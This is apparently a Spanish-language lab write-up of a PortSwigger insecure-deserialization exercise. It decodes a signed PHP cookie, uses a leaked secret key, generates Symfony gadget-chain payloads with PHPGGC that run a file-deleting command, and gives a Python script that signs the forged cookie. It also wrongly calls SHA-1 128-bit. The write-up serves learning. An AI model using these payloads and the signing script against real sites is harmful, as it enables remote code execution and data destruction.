Ya pillé cual es la debilidad que tiene la firma, usa sha-1 es de 128 bits si mal no estoy, es un error grave criptografico, podemos explotar la firma por criptoanalisis de colisión de hashes.
Las cookies quedan así sin embargo el token veo que está en base64 y lo decodeo y tiene más info:
Encontré una interfaz del servidor → Common Gateway Interface
Esa será la que nos dará info de que Framework de php usa y con base en ese usaremos el PHPGGC con el framework especifico para crear la carga util.
La verdad es que no me voy a matar la vida usando PHP sino más bien con el codespaces de github →
El secret key de cgi-bin →
Realmente esta es la clave ya que con esta clave secreta podremos generar la firma de una forma válida, porque ya estamos verificando mediante el gateway interface que php esa es la secret que usa para sus procesos de Signature.
r8aft5a14ggrol48kv2f84nznbs2hydi
Me voy a decantar por symfony/RCE13 tal vez en este caso por que el vector de ataque es Serializable.
Aqui ya me genero un objeto serializado con gadget Chains, ahora mi duda sería como, debería ponerlo dentro de la estructura de la cookie?
Voy a testear cambiando todo el token original de la cookie por el payload generado por la herramienta, y lo demás lo dejo tal cual exceptuando el access_token, a ese lo reemplazo con la secret_key que tome del cgi-bin.php a ver que tal.
//Cookie original
{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJubjR4bDluMDRnMmhrYmc0bzAxbmExb3F2bGN4djJycSI7fQ==","sig_hmac_sha1":"cfbe8ec8a06d33616c2da4680fb2ec1e2f64989b"}
//Token Original decodificado
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"nn4xl9n04g2hkbg4o01na1oqvlcxv2rq";}
//Token Payload de la herramienta PHPGGC
O:43:"Symfony\Component\Cache\Adapter\ApcuAdapter":3:{s:64:"Symfony\Component\Cache\Adapter\AbstractAdaptermergeByLifetime";s:9:"proc_open";s:58:"Symfony\Component\Cache\Adapter\AbstractAdapternamespace";a:0:{}s:57:"Symfony\Component\Cache\Adapter\AbstractAdapterdeferred";s:26:"rm /home/carlos/morale.txt";}
//(Token Payload + Token Original)+ Base64
O:43:"Symfony\Component\Cache\Adapter\ApcuAdapter":4:{s:64:"Symfony\Component\Cache\Adapter\AbstractAdaptermergeByLifetime";s:9:"proc_open";s:58:"Symfony\Component\Cache\Adapter\AbstractAdapternamespace";a:0:{}s:57:"Symfony\Component\Cache\Adapter\AbstractAdapterdeferred";s:26:"rm /home/carlos/morale.txt";s:7:"payload";O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"nn4xl9n04g2hkbg4o01na1oqvlcxv2rq";}}
Tzo0MzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxBcGN1QWRhcHRlciI6NDp7czo2NDoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxBYnN0cmFjdEFkYXB0ZXJtZXJnZUJ5TGlmZXRpbWUiO3M6OToicHJvY19vcGVuIjtzOjU4OiJTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXEFic3RyYWN0QWRhcHRlcm5hbWVzcGFjZSI7YTowOnt9czo1NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxBYnN0cmFjdEFkYXB0ZXJkZWZlcnJlZCI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6NzoicGF5bG9hZCI7Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJubjR4bDluMDRnMmhrYmc0bzAxbmExb3F2bGN4djJycSI7fX0=
//Cookie Modificada
{"token":"Tzo0MzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxBcGN1QWRhcHRlciI6NDp7czo2NDoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxBYnN0cmFjdEFkYXB0ZXJtZXJnZUJ5TGlmZXRpbWUiO3M6OToicHJvY19vcGVuIjtzOjU4OiJTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXEFic3RyYWN0QWRhcHRlcm5hbWVzcGFjZSI7YTowOnt9czo1NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxBYnN0cmFjdEFkYXB0ZXJkZWZlcnJlZCI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6NzoicGF5bG9hZCI7Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJyOGFmdDVhMTRnZ3JvbDQ4a3YyZjg0bnpuYnMyaHlkaSI7fX0=","sig_hmac_sha1":"r8aft5a14ggrol48kv2f84nznbs2hydi"}
{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJubjR4bDluMDRnMmhrYmc0bzAxbmExb3F2bGN4djJycSI7fQ==","sig_hmac_sha1":"r8aft5a14ggrol48kv2f84nznbs2hydi"}
No me funcionó al parecer así, pero encontré algo vital (Encontré cual es la versión y cual es el framework PHP con base al error que me mostró) →
Jajajsjs, Symfony 4.3.6, listo con base haremos de nuevo todo el payload pero ajustamos la herramienta para correr la versión adecuada.
Ya encontré la forma para firmar y ejecutar la herramienta de la forma correcta:
Antes de ello ya pillé y la clave secreta cambia cada que iniciamos sesión, en este caso esta es la secret_key que tome en este preciso instante:
Secret_Key: 5hct6yp63i63noazpxm8cwpvj5g5ci3o
Symfony/RCE4 es el que realmente podemos usar ya que primero vemos que tiene dentro del rango de versiones a Symfony 4.3.6 y además de ello, yo creía que ese no servía porque en Type dice RCE: Function Call, entonces yo cuando tiraba el ‘rm /home/carlos/morale.txt’ me decía que tirará un function + parameter, pero EN REALIDAD ahi Estuvo TODO EL TIEMPO.
Listo ya tenemos el token con secuencia de cadena seguida, ¿que procede ahora? Antes erradamente pensaba yo que dentro del token generado por la herramienta de phpggc debía meterle internamente a esos objetos la estructura del objeto de user:wiener y esas cosas pero realmente no es necesario, en un ataque de deserialización insegura por gadget chains lo que hacemos es explotar el comportamiento de el llamamiento de objetos magicos que a su vez llaman a otros métodos esto hace que el sistema se centre en ello, ya si una aplicación es más robusta seguramente tendríamos que pasarlos o no, tal vez, pero en este caso bajo este laboratorio simulando una posible aplicación del mundo digital, así es.
Facilitando un poco la Explotación → Script python
import base64
import hmac
import hashlib
import urllib.parse
import json
# Objeto serializado en formato base64
object_data = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg=="
# Clave secreta
secret_key = "lbjiy8s4r3c8qmi55gexkjvdekn2mebv" #Sabemos que una buena practica en la vida real sería tener la cookie en variable de entorno.
# Crear la firma HMAC-SHA1
sig_hmac_sha1 = hmac.new(secret_key.encode(), object_data.encode(), hashlib.sha1).hexdigest()
# Generar la cookie en formato JSON con los valores token y sig_hmac_sha1
cookie_data = {
"token": object_data,
"sig_hmac_sha1": sig_hmac_sha1
}
# Convertir el diccionario a JSON
cookie_json = json.dumps(cookie_data)
# Codificar la cookie en formato URL
encoded_cookie = urllib.parse.quote(cookie_json)
print(encoded_cookie)
Portswigger también ofrece un script de generación firma, en PHP →